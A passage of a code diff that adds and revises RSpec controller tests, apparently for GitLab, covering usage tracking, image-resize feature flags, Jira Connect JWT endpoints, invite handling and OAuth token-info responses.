+ skip_before_action :authenticate_user!, only: :show
+ track_redis_hll_event :index, :show, name: 'i_analytics_dev_ops_score', feature: :g_compliance_dashboard_feature, feature_default_enabled: true
+
+ def index
+ render html: 'index'
+ end
+
+ def new
+ render html: 'new'
+ end
+
+ def show
+ render html: 'show'
+ end
+ end
+
+ context 'with feature disabled' do
+ it 'does not track the event' do
+ stub_feature_flags(feature => false)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ get :index
+ end
+ end
+
+ context 'with usage ping disabled' do
+ it 'does not track the event' do
+ stub_feature_flags(feature => true)
+ allow(Gitlab::CurrentSettings).to receive(:usage_ping_enabled?).and_return(false)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ get :index
+ end
+ end
+
+ context 'with feature enabled and usage ping enabled' do
+ before do
+ stub_feature_flags(feature => true)
+ allow(Gitlab::CurrentSettings).to receive(:usage_ping_enabled?).and_return(true)
+ end
+
+ context 'when user is logged in' do
+ it 'tracks the event' do
+ sign_in(user)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event)
+
+ get :index
+ end
+
+ it 'passes default_enabled flag' do
+ sign_in(user)
+
+ expect(controller).to receive(:metric_feature_enabled?).with(feature.to_sym, true)
+
+ get :index
+ end
+ end
+
+ context 'when user is not logged in and there is a visitor_id' do
+ let(:visitor_id) { SecureRandom.uuid }
+
+ before do
+ routes.draw { get 'show' => 'anonymous#show' }
+ end
+
+ it 'tracks the event' do
+ cookies[:visitor_id] = { value: visitor_id, expires: 24.months }
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event)
+
+ get :show
+ end
+ end
+
+ context 'when user is not logged in and there is no visitor_id' do
+ it 'does not tracks the event' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ get :index
+ end
+ end
+
+ context 'for untracked action' do
+ it 'does not tracks the event' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ get :new
+ end
+ end
+ end
+end
diff --git a/spec/controllers/concerns/send_file_upload_spec.rb b/spec/controllers/concerns/send_file_upload_spec.rb
index e24e4cbf5e7..747ccd7ba1b 100644
--- a/spec/controllers/concerns/send_file_upload_spec.rb
+++ b/spec/controllers/concerns/send_file_upload_spec.rb
@@ -50,9 +50,14 @@ RSpec.describe SendFileUpload do
shared_examples 'handles image resize requests' do
let(:headers) { double }
+ let(:image_requester) { build(:user) }
+ let(:image_owner) { build(:user) }
+ let(:params) do
+ { attachment: 'avatar.png' }
+ end
before do
- allow(uploader).to receive(:image?).and_return(true)
+ allow(uploader).to receive(:image_safe_for_scaling?).and_return(true)
allow(uploader).to receive(:mounted_as).and_return(:avatar)
allow(controller).to receive(:headers).and_return(headers)
@@ -60,70 +65,127 @@ RSpec.describe SendFileUpload do
# local or remote files
allow(controller).to receive(:send_file)
allow(controller).to receive(:redirect_to)
+
+ allow(controller).to receive(:current_user).and_return(image_requester)
+ allow(uploader).to receive(:model).and_return(image_owner)
end
- context 'when feature is enabled for current user' do
- let(:user) { build(:user) }
+ context 'when boths FFs are enabled' do
+ before do
+ stub_feature_flags(dynamic_image_resizing_requester: image_requester)
+ stub_feature_flags(dynamic_image_resizing_owner: image_owner)
+ end
+
+ it_behaves_like 'handles image resize requests allowed by FFs'
+ end
+ context 'when boths FFs are enabled globally' do
before do
- stub_feature_flags(dynamic_image_resizing: user)
- allow(controller).to receive(:current_user).and_return(user)
+ stub_feature_flags(dynamic_image_resizing_requester: true)
+ stub_feature_flags(dynamic_image_resizing_owner: true)
end
- context 'with valid width parameter' do
- it 'renders OK with workhorse command header' do
- expect(controller).not_to receive(:send_file)
- expect(controller).to receive(:params).at_least(:once).and_return(width: '64')
- expect(controller).to receive(:head).with(:ok)
- expect(headers).to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+ it_behaves_like 'handles image resize requests allowed by FFs'
- subject
+ context 'when current_user is nil' do
+ before do
+ allow(controller).to receive(:current_user).and_return(nil)
end
+
+ it_behaves_like 'handles image resize requests allowed by FFs'
end
+ end
- context 'with missing width parameter' do
- it 'does not write workhorse command header' do
- expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+ context 'when only FF based on content requester is enabled for current user' do
+ before do
+ stub_feature_flags(dynamic_image_resizing_requester: image_requester)
+ stub_feature_flags(dynamic_image_resizing_owner: false)
+ end
- subject
- end
+ it_behaves_like 'bypasses image resize requests not allowed by FFs'
+ end
+
+ context 'when only FF based on content owner is enabled for requested avatar owner' do
+ before do
+ stub_feature_flags(dynamic_image_resizing_requester: false)
+ stub_feature_flags(dynamic_image_resizing_owner: image_owner)
end
- context 'with invalid width parameter' do
- it 'does not write workhorse command header' do
- expect(controller).to receive(:params).at_least(:once).and_return(width: 'not a number')
- expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+ it_behaves_like 'bypasses image resize requests not allowed by FFs'
+ end
- subject
- end
+ context 'when both FFs are disabled' do
+ before do
+ stub_feature_flags(dynamic_image_resizing_requester: false)
+ stub_feature_flags(dynamic_image_resizing_owner: false)
end
- context 'with width that is not allowed' do
- it 'does not write workhorse command header' do
- expect(controller).to receive(:params).at_least(:once).and_return(width: '63')
- expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+ it_behaves_like 'bypasses image resize requests not allowed by FFs'
+ end
+ end
- subject
- end
+ shared_examples 'bypasses image resize requests not allowed by FFs' do
+ it 'does not write workhorse command header' do
+ expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+
+ subject
+ end
+ end
+
+ shared_examples 'handles image resize requests allowed by FFs' do
+ context 'with valid width parameter' do
+ it 'renders OK with workhorse command header' do
+ expect(controller).not_to receive(:send_file)
+ expect(controller).to receive(:params).at_least(:once).and_return(width: '64')
+ expect(controller).to receive(:head).with(:ok)
+
+ expect(Gitlab::Workhorse).to receive(:send_scaled_image).with(a_string_matching('^(/.+|https://.+)'), 64, 'image/png').and_return([
+ Gitlab::Workhorse::SEND_DATA_HEADER, "send-scaled-img:faux"
+ ])
+ expect(headers).to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, "send-scaled-img:faux")
+
+ subject
end
+ end
- context 'when image file is not an avatar' do
- it 'does not write workhorse command header' do
- expect(uploader).to receive(:mounted_as).and_return(nil) # FileUploader is not mounted
- expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+ context 'with missing width parameter' do
+ it 'does not write workhorse command header' do
+ expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
- subject
- end
+ subject
end
end
- context 'when feature is disabled' do
- before do
- stub_feature_flags(dynamic_image_resizing: false)
+ context 'with invalid width parameter' do
+ it 'does not write workhorse command header' do
+ expect(controller).to receive(:params).at_least(:once).and_return(width: 'not a number')
+ expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+
+ subject
end
+ end
+ context 'with width that is not allowed' do
it 'does not write workhorse command header' do
- expect(controller).to receive(:params).at_least(:once).and_return(width: '64')
+ expect(controller).to receive(:params).at_least(:once).and_return(width: '63')
+ expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+
+ subject
+ end
+ end
+
+ context 'when image file is not an avatar' do
+ it 'does not write workhorse command header' do
+ expect(uploader).to receive(:mounted_as).and_return(nil) # FileUploader is not mounted
+ expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
+
+ subject
+ end
+ end
+
+ context 'when image file type is not considered safe for scaling' do
+ it 'does not write workhorse command header' do
+ expect(uploader).to receive(:image_safe_for_scaling?).and_return(false)
expect(headers).not_to receive(:store).with(Gitlab::Workhorse::SEND_DATA_HEADER, /^send-scaled-img:/)
subject
diff --git a/spec/controllers/dashboard/projects_controller_spec.rb b/spec/controllers/dashboard/projects_controller_spec.rb
index 1e1d9519f78..2719b7c8a24 100644
--- a/spec/controllers/dashboard/projects_controller_spec.rb
+++ b/spec/controllers/dashboard/projects_controller_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Dashboard::ProjectsController do
+RSpec.describe Dashboard::ProjectsController, :aggregate_failures do
include ExternalAuthorizationServiceHelpers
let_it_be(:user) { create(:user) }
@@ -15,6 +15,7 @@ RSpec.describe Dashboard::ProjectsController do
context 'user logged in' do
let_it_be(:project) { create(:project) }
let_it_be(:project2) { create(:project) }
+ let(:projects) { [project, project2] }
before_all do
project.add_developer(user)
@@ -41,7 +42,7 @@ RSpec.describe Dashboard::ProjectsController do
get :index
- expect(assigns(:projects)).to eq([project, project2])
+ expect(assigns(:projects)).to eq(projects)
end
context 'project sorting' do
@@ -66,6 +67,20 @@ RSpec.describe Dashboard::ProjectsController do
it_behaves_like 'search and sort parameters', sort
end
end
+
+ context 'with deleted project' do
+ let!(:pending_delete_project) do
+ project.tap { |p| p.update!(pending_delete: true) }
+ end
+
+ it 'does not display deleted project' do
+ get :index
+ projects_result = assigns(:projects)
+
+ expect(projects_result).not_to include(pending_delete_project)
+ expect(projects_result).to include(project2)
+ end
+ end
end
end
@@ -153,7 +168,7 @@ RSpec.describe Dashboard::ProjectsController do
project.add_developer(user)
end
- it 'renders all kinds of event without error', :aggregate_failures do
+ it 'renders all kinds of event without error' do
get :index, format: :atom
expect(assigns(:events)).to include(design_event, wiki_page_event, issue_event)
@@ -165,6 +180,21 @@ RSpec.describe Dashboard::ProjectsController do
"closed issue #{issue.to_reference}"
)
end
+
+ context 'with deleted project' do
+ let(:pending_deleted_project) { projects.last.tap { |p| p.update!(pending_delete: true) } }
+
+ before do
+ pending_deleted_project.add_developer(user)
+ end
+
+ it 'does not display deleted project' do
+ get :index, format: :atom
+
+ expect(response.body).not_to include(pending_deleted_project.full_name)
+ expect(response.body).to include(project.full_name)
+ end
+ end
end
end
end
diff --git a/spec/controllers/graphql_controller_spec.rb b/spec/controllers/graphql_controller_spec.rb
index c5643f96b7a..405f1eae482 100644
--- a/spec/controllers/graphql_controller_spec.rb
+++ b/spec/controllers/graphql_controller_spec.rb
@@ -60,14 +60,28 @@ RSpec.describe GraphqlController do
it 'updates the users last_activity_on field' do
expect { post :execute }.to change { user.reload.last_activity_on }
end
+
+ it "sets context's sessionless value as false" do
+ post :execute
+
+ expect(assigns(:context)[:is_sessionless_user]).to be false
+ end
end
context 'when user uses an API token' do
let(:user) { create(:user, last_activity_on: Date.yesterday) }
let(:token) { create(:personal_access_token, user: user, scopes: [:api]) }
+ subject { post :execute, params: { access_token: token.token } }
+
it 'updates the users last_activity_on field' do
- expect { post :execute, params: { access_token: token.token } }.to change { user.reload.last_activity_on }
+ expect { subject }.to change { user.reload.last_activity_on }
+ end
+
+ it "sets context's sessionless value as true" do
+ subject
+
+ expect(assigns(:context)[:is_sessionless_user]).to be true
end
end
@@ -77,6 +91,12 @@ RSpec.describe GraphqlController do
expect(response).to have_gitlab_http_status(:ok)
end
+
+ it "sets context's sessionless value as false" do
+ post :execute
+
+ expect(assigns(:context)[:is_sessionless_user]).to be false
+ end
end
end
@@ -127,4 +147,22 @@ RSpec.describe GraphqlController do
end
end
end
+
+ describe '#append_info_to_payload' do
+ let(:graphql_query) { graphql_query_for('project', { 'fullPath' => 'foo' }, %w(id name)) }
+ let(:log_payload) { {} }
+
+ before do
+ allow(controller).to receive(:append_info_to_payload).and_wrap_original do |method, *|
+ method.call(log_payload)
+ end
+ end
+
+ it 'appends metadata for logging' do
+ post :execute, params: { query: graphql_query, operationName: 'Foo' }
+
+ expect(controller).to have_received(:append_info_to_payload)
+ expect(log_payload.dig(:metadata, :graphql, :operation_name)).to eq('Foo')
+ end
+ end
end
diff --git a/spec/controllers/groups/settings/integrations_controller_spec.rb b/spec/controllers/groups/settings/integrations_controller_spec.rb
index d079f3f077e..cdcdfde175f 100644
--- a/spec/controllers/groups/settings/integrations_controller_spec.rb
+++ b/spec/controllers/groups/settings/integrations_controller_spec.rb
@@ -3,7 +3,6 @@
require 'spec_helper'
RSpec.describe Groups::Settings::IntegrationsController do
- let_it_be(:project) { create(:project) }
let(:user) { create(:user) }
let(:group) { create(:group) }
@@ -82,10 +81,13 @@ RSpec.describe Groups::Settings::IntegrationsController do
end
describe '#update' do
- let(:integration) { create(:jira_service, project: project) }
+ include JiraServiceHelper
+
+ let(:integration) { create(:jira_service, project: nil, group_id: group.id) }
before do
group.add_owner(user)
+ stub_jira_service_test
put :update, params: { group_id: group, id: integration.class.to_param, service: { url: url } }
end
diff --git a/spec/controllers/groups_controller_spec.rb b/spec/controllers/groups_controller_spec.rb
index 78de89de796..35d8c0b7c6d 100644
--- a/spec/controllers/groups_controller_spec.rb
+++ b/spec/controllers/groups_controller_spec.rb
@@ -422,10 +422,6 @@ RSpec.describe GroupsController do
end
context 'searching' do
- before do
- stub_feature_flags(attempt_group_search_optimizations: true)
- end
-
it 'works with popularity sort' do
get :issues, params: { id: group.to_param, search: 'foo', sort: 'popularity' }
diff --git a/spec/controllers/instance_statistics/cohorts_controller_spec.rb b/spec/controllers/instance_statistics/cohorts_controller_spec.rb
deleted file mode 100644
index c16ac0dced1..00000000000
--- a/spec/controllers/instance_statistics/cohorts_controller_spec.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe InstanceStatistics::CohortsController do
- let(:user) { create(:user) }
-
- before do
- sign_in(user)
- end
-
- it_behaves_like 'instance statistics availability'
-
- it 'renders a 404 when the usage ping is disabled' do
- stub_application_setting(usage_ping_enabled: false)
-
- get :index
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
-
- describe 'GET #index' do
- it_behaves_like 'tracking unique visits', :index do
- let(:request_params) { {} }
- let(:target_id) { 'i_analytics_cohorts' }
- end
- end
-end
diff --git a/spec/controllers/instance_statistics/dev_ops_score_controller_spec.rb b/spec/controllers/instance_statistics/dev_ops_score_controller_spec.rb
deleted file mode 100644
index c9677a64eef..00000000000
--- a/spec/controllers/instance_statistics/dev_ops_score_controller_spec.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe InstanceStatistics::DevOpsScoreController do
- it_behaves_like 'instance statistics availability'
-
- describe 'GET #index' do
- let(:user) { create(:user) }
-
- before do
- sign_in(user)
- end
-
- it_behaves_like 'tracking unique visits', :index do
- let(:request_params) { {} }
- let(:target_id) { 'i_analytics_dev_ops_score' }
- end
- end
-end
diff --git a/spec/controllers/invites_controller_spec.rb b/spec/controllers/invites_controller_spec.rb
index 2b222331b55..a083cfac981 100644
--- a/spec/controllers/invites_controller_spec.rb
+++ b/spec/controllers/invites_controller_spec.rb
@@ -2,36 +2,142 @@
require 'spec_helper'
-RSpec.describe InvitesController do
- let(:token) { '123456' }
+RSpec.describe InvitesController, :snowplow do
let_it_be(:user) { create(:user) }
- let(:member) { create(:project_member, :invited, invite_token: token, invite_email: user.email) }
+ let(:member) { create(:project_member, :invited, invite_email: user.email) }
+ let(:raw_invite_token) { member.raw_invite_token }
let(:project_members) { member.source.users }
+ let(:md5_member_global_id) { Digest::MD5.hexdigest(member.to_global_id.to_s) }
+ let(:params) { { id: raw_invite_token } }
+ let(:snowplow_event) do
+ {
+ category: 'Growth::Acquisition::Experiment::InviteEmail',
+ label: md5_member_global_id,
+ property: group_type
+ }
+ end
before do
controller.instance_variable_set(:@member, member)
- sign_in(user)
end
describe 'GET #show' do
- it 'accepts user if invite email matches signed in user' do
- expect do
- get :show, params: { id: token }
- end.to change { project_members.include?(user) }.from(false).to(true)
+ subject(:request) { get :show, params: params }
+
+ context 'when logged in' do
+ before do
+ sign_in(user)
+ end
+
+ it 'accepts user if invite email matches signed in user' do
+ expect do
+ request
+ end.to change { project_members.include?(user) }.from(false).to(true)
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(flash[:notice]).to include 'You have been granted'
+ end
+
+ it 'forces re-confirmation if email does not match signed in user' do
+ member.invite_email = 'bogus@email.com'
+
+ expect do
+ request
+ end.not_to change { project_members.include?(user) }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(flash[:notice]).to be_nil
+ end
+
+ context 'when new_user_invite is not set' do
+ it 'does not track the user as experiment group' do
+ request
+
+ expect_no_snowplow_event
+ end
+ end
+
+ context 'when new_user_invite is experiment' do
+ let(:params) { { id: raw_invite_token, new_user_invite: 'experiment' } }
+ let(:group_type) { 'experiment_group' }
+
+ it 'tracks the user as experiment group' do
+ request
+
+ expect_snowplow_event(snowplow_event.merge(action: 'opened'))
+ expect_snowplow_event(snowplow_event.merge(action: 'accepted'))
+ end
+ end
+
+ context 'when new_user_invite is control' do
+ let(:params) { { id: raw_invite_token, new_user_invite: 'control' } }
+ let(:group_type) { 'control_group' }
+
+ it 'tracks the user as control group' do
+ request
+
+ expect_snowplow_event(snowplow_event.merge(action: 'opened'))
+ expect_snowplow_event(snowplow_event.merge(action: 'accepted'))
+ end
+ end
+ end
+
+ context 'when not logged in' do
+ context 'when inviter is a member' do
+ it 'is redirected to a new session with invite email param' do
+ request
+
+ expect(response).to redirect_to(new_user_session_path(invite_email: member.invite_email))
+ end
+ end
+
+ context 'when inviter is not a member' do
+ let(:params) { { id: '_bogus_token_' } }
+
+ it 'is redirected to a new session' do
+ request
+
+ expect(response).to redirect_to(new_user_session_path)
+ end
+ end
+ end
+ end
+
+ describe 'POST #accept' do
+ before do
+ sign_in(user)
+ end
+
+ subject(:request) { post :accept, params: params }
+
+ context 'when new_user_invite is not set' do
+ it 'does not track an event' do
+ request
+
+ expect_no_snowplow_event
+ end
+ end
+
+ context 'when new_user_invite is experiment' do
+ let(:params) { { id: raw_invite_token, new_user_invite: 'experiment' } }
+ let(:group_type) { 'experiment_group' }
+
+ it 'tracks the user as experiment group' do
+ request
- expect(response).to have_gitlab_http_status(:found)
- expect(flash[:notice]).to include 'You have been granted'
+ expect_snowplow_event(snowplow_event.merge(action: 'accepted'))
+ end
end
- it 'forces re-confirmation if email does not match signed in user' do
- member.invite_email = 'bogus@email.com'
+ context 'when new_user_invite is control' do
+ let(:params) { { id: raw_invite_token, new_user_invite: 'control' } }
+ let(:group_type) { 'control_group' }
- expect do
- get :show, params: { id: token }
- end.not_to change { project_members.include?(user) }
+ it 'tracks the user as control group' do
+ request
- expect(response).to have_gitlab_http_status(:ok)
- expect(flash[:notice]).to be_nil
+ expect_snowplow_event(snowplow_event.merge(action: 'accepted'))
+ end
end
end
end
diff --git a/spec/controllers/jira_connect/app_descriptor_controller_spec.rb b/spec/controllers/jira_connect/app_descriptor_controller_spec.rb
new file mode 100644
index 00000000000..55bafa938a7
--- /dev/null
+++ b/spec/controllers/jira_connect/app_descriptor_controller_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnect::AppDescriptorController do
+ describe '#show' do
+ it 'returns JSON app descriptor' do
+ get :show
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to include(
+ 'baseUrl' => 'https://test.host/-/jira_connect',
+ 'lifecycle' => {
+ 'installed' => '/events/installed',
+ 'uninstalled' => '/events/uninstalled'
+ },
+ 'links' => {
+ 'documentation' => 'http://test.host/help/integration/jira_development_panel#gitlabcom-1'
+ }
+ )
+ end
+ end
+end
diff --git a/spec/controllers/jira_connect/events_controller_spec.rb b/spec/controllers/jira_connect/events_controller_spec.rb
new file mode 100644
index 00000000000..d1a2dd6e7af
--- /dev/null
+++ b/spec/controllers/jira_connect/events_controller_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnect::EventsController do
+ describe '#installed' do
+ subject do
+ post :installed, params: {
+ clientKey: '1234',
+ sharedSecret: 'secret',
+ baseUrl: 'https://test.atlassian.net'
+ }
+ end
+
+ it 'saves the jira installation data' do
+ expect { subject }.to change { JiraConnectInstallation.count }.by(1)
+ end
+
+ it 'saves the correct values' do
+ subject
+
+ installation = JiraConnectInstallation.find_by_client_key('1234')
+
+ expect(installation.shared_secret).to eq('secret')
+ expect(installation.base_url).to eq('https://test.atlassian.net')
+ end
+
+ context 'client key already exists' do
+ it 'returns 422' do
+ create(:jira_connect_installation, client_key: '1234')
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ end
+ end
+
+ describe '#uninstalled' do
+ let!(:installation) { create(:jira_connect_installation) }
+ let(:qsh) { Atlassian::Jwt.create_query_string_hash('https://gitlab.test/events/uninstalled', 'POST', 'https://gitlab.test') }
+
+ before do
+ request.headers['Authorization'] = "JWT #{auth_token}"
+ end
+
+ subject { post :uninstalled }
+
+ context 'when JWT is invalid' do
+ let(:auth_token) { 'invalid_token' }
+
+ it 'returns 403' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ it 'does not delete the installation' do
+ expect { subject }.not_to change { JiraConnectInstallation.count }
+ end
+ end
+
+ context 'when JWT is valid' do
+ let(:auth_token) do
+ Atlassian::Jwt.encode({ iss: installation.client_key, qsh: qsh }, installation.shared_secret)
+ end
+
+ it 'deletes the installation' do
+ expect { subject }.to change { JiraConnectInstallation.count }.by(-1)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/controllers/jira_connect/subscriptions_controller_spec.rb b/spec/controllers/jira_connect/subscriptions_controller_spec.rb
new file mode 100644
index 00000000000..95b359a989a
--- /dev/null
+++ b/spec/controllers/jira_connect/subscriptions_controller_spec.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnect::SubscriptionsController do
+ let_it_be(:installation) { create(:jira_connect_installation) }
+
+ describe '#index' do
+ before do
+ get :index, params: { jwt: jwt }
+ end
+
+ context 'without JWT' do
+ let(:jwt) { nil }
+
+ it 'returns 403' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'with valid JWT' do
+ let(:qsh) { Atlassian::Jwt.create_query_string_hash('https://gitlab.test/subscriptions', 'GET', 'https://gitlab.test') }
+ let(:jwt) { Atlassian::Jwt.encode({ iss: installation.client_key, qsh: qsh }, installation.shared_secret) }
+
+ it 'returns 200' do
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'removes X-Frame-Options to allow rendering in iframe' do
+ expect(response.headers['X-Frame-Options']).to be_nil
+ end
+ end
+ end
+
+ describe '#create' do
+ let(:group) { create(:group) }
+ let(:user) { create(:user) }
+ let(:current_user) { user }
+
+ before do
+ group.add_maintainer(user)
+ end
+
+ subject { post :create, params: { jwt: jwt, namespace_path: group.path, format: :json } }
+
+ context 'without JWT' do
+ let(:jwt) { nil }
+
+ it 'returns 403' do
+ sign_in(user)
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'with valid JWT' do
+ let(:jwt) { Atlassian::Jwt.encode({ iss: installation.client_key }, installation.shared_secret) }
+
+ context 'signed in to GitLab' do
+ before do
+ sign_in(user)
+ end
+
+ context 'dev panel integration is available' do
+ it 'creates a subscription' do
+ expect { subject }.to change { installation.subscriptions.count }.from(0).to(1)
+ end
+
+ it 'returns 200' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ context 'not signed in to GitLab' do
+ it 'returns 401' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+ end
+ end
+
+ describe '#destroy' do
+ let(:subscription) { create(:jira_connect_subscription, installation: installation) }
+
+ before do
+ delete :destroy, params: { jwt: jwt, id: subscription.id }
+ end
+
+ context 'without JWT' do
+ let(:jwt) { nil }
+
+ it 'returns 403' do
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'with valid JWT' do
+ let(:jwt) { Atlassian::Jwt.encode({ iss: installation.client_key }, installation.shared_secret) }
+
+ it 'deletes the subscription' do
+ expect { subscription.reload }.to raise_error ActiveRecord::RecordNotFound
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+end
diff --git a/spec/controllers/ldap/omniauth_callbacks_controller_spec.rb b/spec/controllers/ldap/omniauth_callbacks_controller_spec.rb
index 2de824bbf3c..ecff173b8ac 100644
--- a/spec/controllers/ldap/omniauth_callbacks_controller_spec.rb
+++ b/spec/controllers/ldap/omniauth_callbacks_controller_spec.rb
@@ -11,6 +11,11 @@ RSpec.describe Ldap::OmniauthCallbacksController do
expect(request.env['warden']).to be_authenticated
end
+ it 'creates an authentication event record' do
+ expect { post provider }.to change { AuthenticationEvent.count }.by(1)
+ expect(AuthenticationEvent.last.provider).to eq(provider.to_s)
+ end
+
context 'with sign in prevented' do
let(:ldap_settings) { ldap_setting_defaults.merge(prevent_ldap_sign_in: true) }
diff --git a/spec/controllers/oauth/jira/authorizations_controller_spec.rb b/spec/controllers/oauth/jira/authorizations_controller_spec.rb
new file mode 100644
index 00000000000..0b4a691d7ec
--- /dev/null
+++ b/spec/controllers/oauth/jira/authorizations_controller_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Oauth::Jira::AuthorizationsController do
+ describe 'GET new' do
+ it 'redirects to OAuth authorization with correct params' do
+ get :new, params: { client_id: 'client-123', redirect_uri: 'http://example.com/' }
+
+ expect(response).to redirect_to(oauth_authorization_url(client_id: 'client-123',
+ response_type: 'code',
+ redirect_uri: oauth_jira_callback_url))
+ end
+ end
+
+ describe 'GET callback' do
+ it 'redirects to redirect_uri on session with code param' do
+ session['redirect_uri'] = 'http://example.com'
+
+ get :callback, params: { code: 'hash-123' }
+
+ expect(response).to redirect_to('http://example.com?code=hash-123')
+ end
+
+ it 'redirects to redirect_uri on session with code param preserving existing query' do
+ session['redirect_uri'] = 'http://example.com?foo=bar'
+
+ get :callback, params: { code: 'hash-123' }
+
+ expect(response).to redirect_to('http://example.com?foo=bar&code=hash-123')
+ end
+ end
+
+ describe 'POST access_token' do
+ it 'returns oauth params in a format Jira expects' do
+ expect_any_instance_of(Doorkeeper::Request::AuthorizationCode).to receive(:authorize) do
+ double(status: :ok, body: { 'access_token' => 'fake-123', 'scope' => 'foo', 'token_type' => 'bar' })
+ end
+
+ post :access_token, params: { code: 'code-123', client_id: 'client-123', client_secret: 'secret-123' }
+
+ expect(response.body).to eq('access_token=fake-123&scope=foo&token_type=bar')
+ end
+ end
+end
diff --git a/spec/controllers/oauth/token_info_controller_spec.rb b/spec/controllers/oauth/token_info_controller_spec.rb
index 91a986db251..6d01a534673 100644
--- a/spec/controllers/oauth/token_info_controller_spec.rb
+++ b/spec/controllers/oauth/token_info_controller_spec.rb
@@ -5,10 +5,10 @@ require 'spec_helper'
RSpec.describe Oauth::TokenInfoController do
describe '#show' do
context 'when the user is not authenticated' do
- it 'responds with a 401' do
+ it 'responds with a 400' do
get :show
- expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response).to have_gitlab_http_status(:bad_request)
expect(Gitlab::Json.parse(response.body)).to include('error' => 'invalid_request')
end
end
@@ -36,10 +36,10 @@ RSpec.describe Oauth::TokenInfoController do
end
context 'when the doorkeeper_token is not recognised' do
- it 'responds with a 401' do
+ it 'responds with a 400' do
get :show, params: { access_token: 'unknown_token' }
- expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response).to have_gitlab_http_status(:bad_request)
expect(Gitlab::Json.parse(response.body)).to include('error' => 'invalid_request')
end
end
@@ -49,10 +49,10 @@ RSpec.describe Oauth::TokenInfoController do
create(:oauth_access_token, created_at: 2.days.ago, expires_in: 10.minutes)
end
- it 'responds with a 401' do
+ it 'responds with a 400' do
get :show, params: { access_token: access_token.token }
- expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response).to have_gitlab_http_status(:bad_request)
expect(Gitlab::Json.parse(response.body)).to include('error' => 'invalid_request')
end
end
@@ -60,10 +60,10 @@ RSpec.describe Oauth::TokenInfoController do
context 'when the token is revoked' do
let(:access_token) { create(:oauth_access_token, revoked_at: 2.days.ago) }
- it 'responds with a 401' do
+ it 'responds with a 400' do
get :show, params: { access_token: access_token.token }
- expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response).to have_gitlab_http_status(:bad_request)
expect(Gitlab::Json.parse(response.body)).to include('error' => 'invalid_request')
end
end
diff --git a/spec/controllers/omniauth_callbacks_controller_spec.rb b/spec/controllers/omniauth_callbacks_controller_spec.rb
index 3f7f0c55f38..291d51348e6 100644
--- a/spec/controllers/omniauth_callbacks_controller_spec.rb
+++ b/spec/controllers/omniauth_callbacks_controller_spec.rb
@@ -170,6 +170,11 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
expect(request.env['warden']).to be_authenticated
end
+ it 'creates an authentication event record' do
+ expect { post provider }.to change { AuthenticationEvent.count }.by(1)
+ expect(AuthenticationEvent.last.provider).to eq(provider.to_s)
+ end
+
context 'when user has no linked provider' do
let(:user) { create(:user) }
@@ -276,6 +281,51 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
end
end
+ context 'atlassian_oauth2' do
+ let(:provider) { :atlassian_oauth2 }
+ let(:extern_uid) { 'my-uid' }
+
+ context 'when the user and identity already exist' do
+ let(:user) { create(:atlassian_user, extern_uid: extern_uid) }
+
+ it 'allows sign-in' do
+ post :atlassian_oauth2
+
+ expect(request.env['warden']).to be_authenticated
+ end
